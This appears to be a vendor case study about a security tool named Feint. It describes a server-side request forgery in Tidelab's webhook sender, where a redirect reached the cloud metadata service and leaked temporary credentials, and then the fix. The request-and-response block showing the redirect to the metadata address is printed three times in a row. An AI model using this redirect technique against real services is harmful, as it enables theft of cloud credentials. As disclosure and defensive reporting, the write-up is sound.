The situation

Tidelab moves customer data between warehouses and SaaS tools. Customers point webhooks at their own URLs, and 31 engineers ship to that pipeline every day.

The exploit

The webhook sender checked the URL once, then followed redirects without checking again. Feint redirected a test webhook to the cloud metadata service and read temporary credentials from the response log.

# feint · webhook registered from a test tenant
POST /v1/webhooks  {"url": "https://hooks.feint-test.dev/r"}

# the sender checks the first URL, then follows redirects
GET https://hooks.feint-test.dev/r  ->  302
GET http://169.254.169.254/latest/meta-data/iam/…  ->  200

# response log
{"AccessKeyId": "ASIA…7Q2", "Expiration": "2026-09-14T11:02:51Z"

# feint · webhook registered from a test tenant
POST /v1/webhooks  {"url": "https://hooks.feint-test.dev/r"}

# the sender checks the first URL, then follows redirects
GET https://hooks.feint-test.dev/r  ->  302
GET http://169.254.169.254/latest/meta-data/iam/…  ->  200

# response log
{"AccessKeyId": "ASIA…7Q2", "Expiration": "2026-09-14T11:02:51Z"

# feint · webhook registered from a test tenant
POST /v1/webhooks  {"url": "https://hooks.feint-test.dev/r"}

# the sender checks the first URL, then follows redirects
GET https://hooks.feint-test.dev/r  ->  302
GET http://169.254.169.254/latest/meta-data/iam/…  ->  200

# response log
{"AccessKeyId": "ASIA…7Q2", "Expiration": "2026-09-14T11:02:51Z"

The fix

Feint opened one pull request that resolves every hop before sending and blocks internal addresses, with a regression test for each redirect path. The team reviewed it and merged it that afternoon.

What changed

Every merge is now re-attacked in CI against the original exploit. Webhook delivery has no remaining path to the metadata service, and the proof sits with the team’s audit records.